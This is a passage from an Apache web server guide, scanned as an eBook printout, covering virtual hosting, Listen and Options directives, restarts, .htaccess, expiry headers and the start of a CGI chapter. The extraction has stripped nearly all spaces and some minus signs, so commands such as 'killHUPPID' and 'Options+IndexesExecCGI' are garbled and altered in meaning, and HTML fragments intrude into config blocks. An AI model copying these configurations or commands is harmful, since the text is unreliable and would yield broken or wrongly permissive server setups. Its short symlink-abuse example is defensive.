Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page62
<VirtualHost"target="_BLANK">www.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/customers
ServerNamewww.butterthlies.com
ErrorLog/usr/www/site.virtual/namebased/logs/error_log
TransferLog/usr/www/site.virtual/namebased/logs/access_log
</VirtualHost>
<VirtualHostsales.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.virtual/namebased/logs/error_log
TransferLog/usr/www/site.virtual/namebased/logs/access_log
</VirtualHost>
ThekeydirectiveisNameVirtualHost,whichtellsApachethatrequeststothatIPnumberwillbesubdividedbyname.ItmightseemthattheServerName
directivesplayacrucialpart,buttheyjustprovideanameforApachetoreturntotheclient.The<VirtualHost>sectionsnowareidentifiedbythenameofthe
sitewewantthemtoserve.Ifthisdirectivewereleftout,Apachewouldissueahelpfulwarningthatwww.butterthlies.comandsales.butterthlies.comwere
overlapping(i.e.,rivalinterpretationsofthesameIPnumber)andthatperhapsweneededaNameVirtualHostdirective.Whichindeedwewould.
Thevirtualsitescanallsharelogfiles,asshowninthegivenConfigfile,ortheycanuseseparateones.
NameVirtualHost
NameVirtualHostaddress[:port]
Serverconfig
NameVirtualHostallowsyoutospecifytheIPaddressesofyournamebasedvirtualhosts.Optionally,youcanaddaportnumber.TheIPaddresshasto
matchwiththeIPaddressatthetopofa<VirtualHost>block,whichmustincludeaServerNamedirectivefollowedbytheregisteredname.Theeffectis
thatwhenApachereceivesarequestaddressedtoanamedhost,itscansthe<VirtualHost>blockshavingthesameIPnumberthatwasdeclaredwitha
NameVirtualHostdirectivetofindonethatincludestherequestedServerName.Conversely,ifyouhavenotusedNameVirtualHost,Apachelooks
fora<VirtualHost>blockwiththecorrectIPaddressandusestheServerNameinthereply.Oneuseofthisistopreventpeoplefromgettingtohosts
blockedbythefirewallbyusingtheIPofanopenhostandthenameofablockedone.
IPBasedVirtualHosts
Intheauthors'experience,mostoftheWebstillusesIPbasedhosting,becausealthoughalmostallclientsusebrowsersthatsupportHTTP/1.1,thereisstillatiny
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page63
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
proportionthatdoesn't,andwhowantstolosebusinessunnecessarily?However,theWebisrunningoutofnumbers,andsoonerorlater,peoplewillhavetomoveto
namebasedhosting.
ThisishowtoconfigureApachetodoIPbasedvirtualhosting.TheConfigfileis:
Userwebuser
Groupwebgroup
<VirtualHost192.168.123.2>
ServerNamewww.butterthlies.com
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/customers
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
<VirtualHost192.168.123.3>
ServerNamesales.butterthliesIP.com
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
Thisrespondsnicelytorequeststohttp://www.butterthlies.comandhttp://salesIP.butterthlies.com.Thewayourmachinewassetup,italsoservedupthe
customers'pagetoarequestonhttp://www.sales.comwhichistobeexpectedsincetheyshareacommonIPnumber.
MixedName/IPBasedVirtualHosts
Youcan,ofcourse,mixthetwotechniques.<VirtualHost>blocksthathavebeenNameVirtualHost'edwillrespondtorequeststonamedservers
otherswillrespondtorequeststotheappropriateIPnumbers:
Userwebuser
Groupwebgroup
NameVirtualHost192.168.123.2
<VirtualHost"target="_BLANK">www.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/customers
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
<VirtualHostsales.butterthlies.com>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/salesmen
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page64
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
<VirtualHost192.168.123.3>
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
ThetwonamedsitesaredealtwithbytheNameVirtualHostdirective,whereasrequeststosalesIP.butterthlies.com,whichwehavesetuptobe
192.168.123.3,aredealtwithbythethird<VirtualHost>block.
PortBasedVirtualHosting
PortbasedvirtualhostingfollowsonfromIPbasedhosting.Themainadvantageofthistechniqueisthatitmakesitpossibleforawebmastertotestalotofsitesusing
onlyoneIPaddress/hostname,or,inapinch,hostalargenumberofsiteswithoutusingnamebasedhostsandwithoutusinglotsofIPnumbers.Unfortunately,most
peopledon'tliketheirwebserverhavingafunnyportnumber.
Userwebuser
Groupwebgroup
Listen80
Listen8080
<VirtualHost192.168.123.2:80>
ServerNamewww.butterthlies.com
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/customers
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
<VirtualHost192.168.123.2:8080>
ServerNamesalesIP.butterthlies.com
ServerAdminsales@butterthlies.com
DocumentRoot/usr/www/site.virtual/htdocs/salesmen
ServerNamesales.butterthlies.com
ErrorLog/usr/www/site.virtual/IPbased/logs/error_log
TransferLog/usr/www/site.virtual/IPbased/logs/access_log
</VirtualHost>
TheListendirectivestellApachetowatchports80and8080.IfyousetApachegoingandaccesshttp://www.butterthlies.com,youarriveonport80,the
default,andseethecustomers'siteifyouaccesshttp://www.butterthlies.com:8080,yougetthesalespeople'ssite.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page65
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
TwoCopiesofApache
Toillustratethepossibilities,wewillruntwocopiesofApachewithdifferentIPaddressesondifferentconsoles,asiftheywereontwocompletelyseparatemachines.
Thisisnotsomethingyouwanttodooften,butforthesakeofcompleteness,hereitis.Normally,youwouldonlybotherifthedifferentvirtualhostsneededvery
differentconfigurations,suchasdifferentvaluesforServerType,User,TypesConfig,orServerRoot(noneofthesedirectivescanapplytoavirtual
host,sincetheyareglobaltoallservers,whichiswhyyouhavetoruntwocopiestogetthedesiredeffect).Ifyouareexpectingalotofhits,youshouldtrytoavoid
runningmorethanonecopy,asdoingsowillgenerallyloadthemachinemore.
Inourcase,wedon'thaveanyrealneedtoruntwocopieshowever,wewillgothisrouteforthesakeofeducation.Youcanfindthenecessarymachineryin
/site.twocopy.Therearetwosubdirectories:customersandsales.
TheConfigfilein/customerscontainsthefollowing:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.twocopy/customers/htdocs
BindAddresswww.butterthlies.com
TransferLoglogs/access_log
In/salestheConfigfileis:
Userwebuser
Groupwebgroup
ServerNamesales.butterthlies.com
DocumentRoot/usr/www/site.twocopy/sales/htdocs
Listensalesnotvh.butterthlies.com:80
TransferLoglogs/access_log
Onthisoccasion,wewillexercisethesalesnotvh.butterthlies.comURL.Forthefirsttime,wehavemorethanonecopyofApacherunning,andwehaveto
associaterequestsonspecificURLswithdifferentcopiesoftheserver.Therearethreemoredirectivestodothis.
BindAddress
BindAddressaddr
Defaultaddr:any
Serverconfig
ThisdirectiveforcesApachetobindtoaparticularIPaddress,ratherthanlisteningtoallIPaddressesonthemachine.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page66
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Port
Portport
Defaultport:80
Serverconfig
Whenusedinthemainserverconfiguration(i.e.,outsideany<VirtualHost>sections)andintheabsenceofaBindAddressorListendirective,the
PortdirectivesetstheportnumberonwhichApacheistolisten.Thisisforbackwardcompatibility,andreallyyoushoulduseBindAddressorListen.
Whenusedina<VirtualHost>section,thisspecifiestheportthatshouldbeusedwhentheservergeneratesaURLforitself(seealsoServerNameand
UseCanonicalName).Itdoesnotsettheportthevirtualhostlistensonthatisdonebythe<VirtualHost>directiveitself.
Listen
Listenhostname:port
Serverconfig
ListentellsApachetopayattentiontomorethanoneIPaddressorport.BydefaultitrespondstorequestsonallIPaddresses,butonlytotheportspecifiedby
thePortdirective.ItthereforeallowsyoutorestrictthesetofIPaddresseslistenedtoandincreasethesetofports.
ListenisthepreferreddirectiveBindAddressisobsolete,sinceithastobecombinedwiththePortdirectiveifanyportotherthan80iswanted.Also,
morethanoneListencanbeused,butonlyasingleBindAddress.
Therearesomehousekeepingdirectivestogowiththesethree.
ListenBacklog
ListenBacklognumber
Default:511
Serverconfig
Setsthemaximumlengthofthequeueofpendingconnections.Normally,doingsoisunnecessary,butitcanbeusefuliftheserverisunderaTCPSYNfloodattack,
whichsimulateslotsofnewconnectionopensthatdon'tcomplete.Onsomesystems,thiscausesalargebacklog,whichcanbealleviatedbysettingthe
ListenBacklogparameter.Onlytheknowledgeableshoulddothis.Seethebacklogparameterinthemanualentryforlisten(2).
BackintheConfigfile,DocumentRoot,asbefore,setsthearenaforourofferingstothecustomer.ErrorLogtellsApachewheretologitserrors,and
TransferLogitssuccesses.AswewillseeinChapter11,What'sGoingOn?,theinformationstoredintheselogscanbetuned.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page67
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ServerType
ServerType[inetd|standalone]
Default:standalone
Serverconfig
TheServerTypedirectiveallowsyoutocontrolthewayinwhichApachehandlesmultiplecopiesofitself.Theargumentsareinetdorstandalone(the
default).
inetd
YoumightnotwantApachetospawnacloudofwaitingchildprocessesatall,buttostartupanewoneeachtimearequestcomesinandexitonceithasbeendealt
with.Thisisslower,butconsumesfewerresourceswhentherearenoclientstobedealtwith.However,thismethodisdeprecatedbytheApacheGroupasbeing
clumsyandinefficient.Onsomeplatformsitmaynotworkatall,andtheGrouphasnoplanstofixit.Theutilityinetdisconfiguredin/etc/inetd.conf(seeman
inetd).TheentryforApachewouldlooksomethinglikethis:
httpstreamtcpnowaitroot/usr/local/bin/httpdhttpdddirectory
standalone
Thedefaultallowstheswarmofwaitingchildservers.
Havingsetupthecustomers,wecanduplicatetheblock,makingsomeslightchangestosuitthesalespeople.ThetwoservershavedifferentDocumentRoots,
whichistobeexpectedbecausethat'swhywesetuptwohostsinthefirstplace.Theyalsohavedifferenterrorandtransferlogs,buttheydonothaveto.Youcould
haveonetransferlogandoneerrorlog,oryoucouldwritealltheloggingforbothsitestoasinglefile.
Typegoontheserverwhileontheclient,asbefore,accesshttp://www.butterthlies.comorhttp://sales.butterthlies.com/.
Thefilesin/sales/htdocsaresimilartothoseon/customers/htdocs,butalteredenoughthatwecanseethedifferencewhenweaccessthetwosites,index.html
hasbeeneditedsothatthefirstlinereads:
<h1>SALESMENIndextoButterthliesCatalogs</h1>
Thefilecatalog_summer.htmlhasbeeneditedsothatitreads:
<h1>Welcometothegreatripoffof'97:ButterthliesInc</h1>
<p>Allourworthlesscardsareavailableinpacksof20at$1.95apack.WHAT
AFANTASTICDISCOUNT!ThereisanamazingFURTHER10%discountifyouorder
morethan100.</p>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page68
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
andsoon,untilthejokegetsboring.Nowwecanthrowthegreatmachineintooperation.Fromconsole1(onFreeBSDhitALTF1),getinto/customersand
type:
%./go
ThefirstApacheisrunning.Nowgetinto/customersandagaintype:
%./go
Now,astheclient,youlogontohttp://www.butterthlies.com/andseethecustomers'site,whichshowsyouthecustomers'catalogs.Quit,andmetamorphoseintoa
voracioussalespersonbyloggingontohttp://sales.butterthlies.com/.Youaregivenanastyinsightintotheuglyrealitybeneaththesmilingfaceofcommerce!
HTTPResponseHeaders
ThewebmastercansetandremoveHTTPresponseheadersforspecialpurposes,suchassettingmetainformationforanindexer,orPICSlabels.NotethatApache
doesn'tcheckwhetherwhatyouaredoingisatallsensible,somakesureyouknowwhatyouareupto,orverystrangethingsmayhappen.
HeaderName
HeaderName[set|add|unset|append]HTTPheader"value"F
HeaderNameremoveHTTPheader
Anywhere
TheHeaderNamedirectivetakestwoorthreearguments:thefirstmaybeset,add,unset,orappendthesecondisaheadername(withoutacolon)and
thethirdisthevalue(ifapplicable).Itcanbeusedin<File>,<Directory>,or<Location>sections.
Options
Optionsoptionoption
Default:All
Serverconfig,virtualhost,directory,.htaccess
TheOptionsdirectiveisunusuallymultipurposeanddoesnotfitintoanyonesiteorstrategiccontext,sowehadbetterlookatitonitsown.Itgivesthewebmaster
somefarreachingcontroloverwhatpeoplegetuptoontheirownsites.
All
AlloptionsareenabledexceptMultiViews(forhistoricalreasons),IncludesNOEXEC,andSymLinksIfOwnerMatch(butthelatterisredundantif
FollowSymLinksisenabled).
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page69
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ExecCGI
ExecutionofCGIscriptsispermittedandimpossibleifthisisnotset.
Theserverfollowssymboliclinks(i.e.,filelinksmadewiththeUnixInsutility)serversideincludesarepermitted(seeChapter10,ServerSideIncludes).
FollowSymLinks
Seenextsection.
Includes
Serversideincludesarepermittedandimpossibleifthisisnotset.
IncludesNOEXEC
Serversideincludesarepermitted,but#execand#includeofCGIscriptsaredisabled.
Indexes
IfthecustomerrequestsaURLthatmapstoadirectory,andthereisnoindex.htmlthere,thisoptionallowsthesuiteofindexingcommandstobeused,anda
formattedlistingisreturned(seeChapter7,Indexing).
MultiViews
ContentnegotiatedMultiViewsaresupported.ThisincludesAddLanguageandimagenegotiation(seeChapter6,MIME,ContentandLanguage
Negotiation).
SymLinksIfOwnerMatch
Symboliclinksarefollowedandleadtofilesordirectoriesownedbythesameuser(seenextsection).
Theargumentscanbeprecededby"+"or"",inwhichcasetheyareaddedorremoved.Thefollowingcommand,forexample,addsIndexesbutremoves
ExecCGI:
Options+IndexesExecCGI
Ifnooptionsareset,andthereisno<Limit>directive,theeffectisasifAllhadbeenset,whichmeans,ofcourse,thatMultiViewsisnotset.Ifanyoptions
areset,Allisturnedoff.Thishasatleastoneoddeffect:ifyouhavean/htdocs.directorywithoutanindex.htmlandaverysimpleConfigfile,andyouaccessthe
site,youseeadirectoryof/htdocs.Forexample:
UserWebuser
GroupWebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.ownindex/htdocs
Ifyouaddtheline:
OptionsExecCGI
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page70
andaccessitagain,youseethefollowingratherbafflingmessage:
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
FORBIDDEN
Youdon'thavepermissiontoaccess/onthisserver
ThereasonisthatwhenOptionsisnotmentioned,itis,bydefault,settoAll.ByswitchingExecCGIon,youswitchalltheothersoff,includingIndexes.
ThecurefortheproblemistoedittheConfigfilesothatthenewlinereads:
Options+ExecCGI
Similarly,if''+"or""arenotusedandmultipleoptionscouldapplytoadirectory,thelastmostspecificoneistaken.Forexample:
OptionsExecCGI
OptionsIndexes
resultsinonlyIndexesbeingset,whichmightsurpriseyou.Thesameeffectcanarisethroughmultiple<Directory>blocks:
<Directory/web/docs>
OptionsIndexesFollowSymLinks
</Directory>
<Directory/web/docs/specs>
OptionsIncludes
</Directory>
OnlyIncludesissetfor/web/docs/specs.
FollowSymLinks,SymLinksIfOwnerMatch
WhenwesaveddiskspaceforourmultiplecopiesoftheButterthliescatalogsbykeepingtheimagesbench.jpg,hen.jpg,bath.jpg,andtree.jpg
in/usr/www/main_docsandmakinglinkstothem,weusedhardlinks.Thisisnotalwaysthebestidea,becauseifsomeonedeletesthefileyouhavelinkedtoand
thenrecreatesit,youstaylinkedtotheoldversionwithahardlink.Withasoft,orsymbolic,link,youlinktothenewversion.Tomakeone,useIn
ssource_Componentdestination_Component.
However,therearesecurityproblemstodowithotherusersonthesamesystem.ImaginethatoneofthemisadubiouscharactercalledFred,whohashisown
webspace,/fred/public_html.ImaginethatthewebmasterhasaCGIscriptcalledfidothatlivesin/cgibinandbelongstowebuser.Ifthewebmasteriswise,
shehasrestrictedreadandexecutepermissionsforthisfiletoitsownerandnooneelse.This,ofcourse,allowswebclientstouseitbecausetheyalsoappearas
webuser.Asthingsstand,Fredcannotreadthefile.Thisisfine,andinlinewithoursecuritypolicyofnotlettinganyonereadCGIscripts.Thisdeniesthemknowledge
ofanysecurityholes.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page71
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Frednowsneakilymakesasymboliclinktofidofromhisownwebspace.Initself,thisgetshimnowhere.Thefileisasunreadableviasymlinkasitisinperson.Butif
FrednowlogsontotheWeb(whichheisperfectlyentitledtodo),accesseshisownwebspaceandthenthesymlinktofido,hecanreaditbecausehenowappears
totheoperatingsystemaswebuser.
TheOptionscommandwithoutAllorFollowSymLinksstopsthiscaperdead.Themoretrustingwebmastermaybewillingtoconcede
SymLinksIfOwnerMatch,sincethattooshouldpreventaccess.
Restarts
AwebmasterwillsometimeswanttokillApacheandrestartitwithanewConfigfile,oftentoaddorremoveavirtualhost.Thiscanbedonethebrutalway,by
stoppinghttpdandrestartingit.Thismethodcausesanytransactionsinprogresstofailinwhatmaybeanannoyinganddisconcertingwayfortheclients.Arecent
innovationinApachewasaschemetoallowrestartsofthemainserverwithoutsuddenlychoppingoffanychildprocessesthatwererunning.
TherearethreewaystorestartApacheunderUnix:
KillandreloadApache,whichthenrereadsallitsConfigfilesandrestarts:
%killPID
%httpd[flags]
ThesameeffectisachievedwithlesstypingbyusingtheflagHUPtokill
Apache:
%killHUPPID
AgracefulrestartisachievedwiththeflagUSR1.ThisrereadstheConfig
filesbutletsthechildprocessesruntocompletion,finishinganyclient
transactionsinprogress,beforetheyarereplacedwithupdatedchildren.In
mostcases,thisisthebestwaytoproceed,becauseitwon'tinterruptpeople
whoarebrowsingatthetime(unlessyoumesseduptheConfigfiles):
%killUSR1PID
Ascripttodothejobautomatically(assumingyouareintheserverroot
directorywhenyourunit)isasfollows:
#!/bin/sh
killUSR1catlogs/httpd.pid
UnderWin32itisenoughtoopenasecondMSDOSwindowandtype:
apachekshutdown|restart
Seethesection"Apache'sFlags"inChapter2,OurFirstWebSite.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page72
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
.htaccess
AnalternativetorestartingtochangeConfigfilesistousethe.htaccessmechanism.Ineffect,thechangeablepartsoftheConfigfilearestoredinasecondaryfilekept
in/htdocs.UnliketheConfigfile,whichisreadbyApacheatstartup,thisfileisreadateachaccess.Theadvantageisflexibility,becausethewebmastercaneditit
wheneverheorshelikeswithoutinterruptingtheserver.Thedisadvantageisafairlyseriousdegradationinperformance,becausethefilehastobelaboriouslyparsed
toserveeachrequest.Thewebmastercanlimitwhatpeopledointheir.htaccessfileswiththeAllowOverridedirective.
Heorshemayalsowanttopreventclientsseeingthe.htaccessfilesthemselves.ThiscanbeachievedbyincludingtheselinesintheConfigfile:
<Files.htaccess>
orderallow,deny
denyfromall
</Files>
CERNMetafiles
Ametafileisafilewithextraheaderdatatogowiththefileservedforexample,youcouldaddaRefreshheader.Thereseemsnoobviousplaceforthis
material,sowewillputithere,withapologiestothosereaderswhofinditratherodd.
Metafiles
MetaFiles[on|off]
Default:off
Directory
Turnsmetafileprocessingonoroffonadirectorybasis.
MetaDir
MetaDirdirectory_name
Defaultdirectory_name:.web
Directory
NamesthedirectoryinwhichApacheistolookformetafiles.Thisisusuallya"hidden"subdirectoryofthedirectorywherethefileisheld.Settothevalue"."tolook
inthesamedirectory.
MetaSuffix
MetaSuffixfile_suffix
Defaultfile_suffix:.meta
Directory
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page73
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Namesthesuffixofthefilecontainingmetainformation.
ThedefaultvaluesforthesedirectiveswillcausearequestforDOCUMENT_ROOT/mydir/fred.htmltolookformetainformation(supplementingtheMIMEheader)
inDOCUMENT_ROOT/mydir/fred.html.meta.
Expirations
ApacheVersion1.2broughttheexpiresmodule,mod_expires,intothemaindistribution.Thepointofthismoduleistoallowthewebmastertosetthereturned
headerstopassinformationtoclients'browsersaboutdocumentsthatwillneedtobereloadedbecausetheyareapttochange,oralternatively,thatarenotgoingto
changeforalongtimeandcanthereforebecached.Therearethreedirectives.
ExpiresActive
ExpiresActive[on|off]
Anywhere,.htaccesswhenAllowOverrideIndexes
ExpiresActivesimplyswitchestheexpirationmechanismonandoff.
ExpiresByType
ExpiresByTypemimetypetime
Anywhere,.htaccesswhenAllowOverrideIndexes
ExpiresByTypetakestwoarguments.mimetypespecifiesaMIMEtypeoffiletimespecifieshowlongthesefilesaretoremainactive.Therearetwoversions
ofthesyntax.Thefirstis:
codeseconds
Thereisnospacebetweencodeandseconds.codeisoneofthefollowing:
AAccesstime(ornow,inotherwords)
MLastmodificationtimeofthefile
secondsissimplyanumber.Forexample:
A565656
specifies565656secondsaftertheaccesstime.
Themorereadablesecondformatis:
base[plus]numbertype[numbertype]
wherebaseisoneofthefollowing:
access
Accesstime
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page74
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
now
Synonymforaccess
modification
Lastmodificationtimeofthefile
Thepluskeywordisoptional,andtypeisoneofthefollowing:
years
months
weeks
days
hours
minutes
seconds
Forexample:
nowplus1day4hours
doeswhatitsays.
ExpiresDefault
ExpiresDefaulttime
Anywhere,.htaccesswhenAllowOverrideIndexes
Thisdirectivesetsthedefaultexpirationtime,whichisusedwhenexpirationisenabledbutthefiletypeisnotmatchedbyanExpireByTypedirective.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page75
4
CommonGatewayInterface(CGI)
ThingsaregoingsowellhereatButterthlies,Inc.,thatwearehardputtokeepupwiththefloodofdemand.Everyone,eventhecat,ishardatworktypinginorders
thatarriveincessantlybymailandtelephone.
Thensomeonehasabrainstorm:"Hey,"shecries,"let'susetheInternettotaketheorders!"Theessenceofherschemeissimplicityitself.Insteadoflettingcustomers
readourcatalogpagesontheWebandthen,drunkwithexcitement,phoneintheirorders,weprovidethemwithaformtheycanfilloutontheirscreens.Atourend
wegetachunkofdatabackfromtheWeb,whichwethenpasstoascriptorprogramwehavewritten.
TurningtheBrochureintoaForm
Creatingtheformisasimplematterofeditingouroriginalbrochuretoturnitintoaform.Wehavetoresistthetemptationtofoolaround,makingourscriptmoreand
morebeautiful.Wejustwanttoaddfourfieldstocapturethenumberofcopiesofeachcardthecustomerwantsand,atthebottom,afieldforthecreditcardnumber.
Beforewegetembroiledinartistry,let'slookbrieflyatabitoftheory.
WhatIsHTTP?
Torecapitulateamidstaseaofinitials:HTTP(HyperTextTransmissionProtocol)isthestandardwayofsendingdocumentsovertheWeb.HTTPusestheTCP
protocol.Theclient(whichisnormallyabrowsersuchasNetscape)establishesaTCPconnectiontotheserver(whichinourcaseisApache)andthensendsa
requestinHTTPformatdownthatchannel.Theserverexaminestherequestandrespondsinwhateverwayitswebmasterhastolditto.Thewebmasterdoesthisby
configuringtheApacheserverandthefilesorscriptsheorsheprovidesonthesystem.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page76
Themachine'sresponsemaybeinHTML,graphics,audio,VRML,Java,orwhatevernewfadthewebfanaticshavedreamedupsincewewenttopress.Whateverit
is,itconsistsofbytesofdatathataremadeintopacketsbytheserver'sTCP/IPstackandtransmitted.YoucanfindalistofMIMEtypesinthefilemime.typesorat
http://www.isi.edu/innotes/iana/assignments/mediatypes/mediatypes.Themeaningsareprettyobvious:text/htmlisHTML,text/plainisplaintext,image/jpegisa
JPEG,andsoon.
WhatIsanHTTPMethod?
OneofthemoreimportantfieldsinarequestisMETHOD.Thistellstheserverhowtohandletheincomingdata.Foracompleteaccount,seetheHTTP/1.1
specification.Briefly,however,themethodsareasfollows:
GET
Returnsthedataaskedfor.Tosavenetworktraffic,a"conditionalGET"onlygeneratesareturniftheconditionissatisfied.Forinstance,apagethataltersfrequently
maybetransmitted.Theclientasksforitagain:ifithasn'tchangedsincelasttime,theconditionalGETgeneratesaresponsetellingtheclienttogetitfromitslocal
cache.
HEAD
ReturnstheheadersthataGETwouldhaveincluded,butwithoutdata.Theycanbeusedtotestthefreshnessoftheclient'scache.
POST
Tellstheservertoacceptthedataanddosomethingwithit,usingtheCGI specifiedbytheURL intheACTIONfield.Forinstance,whenyoubuyabookacross
theWeb,youfillinaformwiththebook'stitle,yourcreditcardnumbers,andsoon.YourbrowserwillthentelltheservertoPOSTthisdata.
PUT
Tellstheservertostorethedata.
DELETE
Tellstheservertodeletethedata.
TRACE
Tellstheservertoreturnadiagnostictraceoftheactionsittakes.
Typically,althoughtheURLcouldspecifyamoduleorevensomethingmoreexotic.
OftenthiswillbetheACTIONfieldfromanHTMLform,butinprinciple,itcouldbegeneratedinanywayabrowserseesfit.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page77
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
CONNECT
Usedtoaskaproxytomakeaconnectiontoanotherhostandsimplyrelaythecontent,ratherthanattemptingtoparseorcacheit.ThisisoftenusedtomakeSSL
connectionsthroughaproxy.
Notethatserversdonothavetoimplementallthesemethods.SeeRFC2068formoredetail.
TheForm
Thecatalog,nowaformwiththenewlinesmarked:
<!NEWLINECREATESAFORMFIELD>
isshownhere.Aswe'llsee,theUnixandWin32versionsareslightlydifferentinthe
extensionstheywilltolerateforCGIscripts.Unixdoesn'tmindwhatascriptiscalled,
provideditismadeexecutablewith:
chmod+x<scriptname>
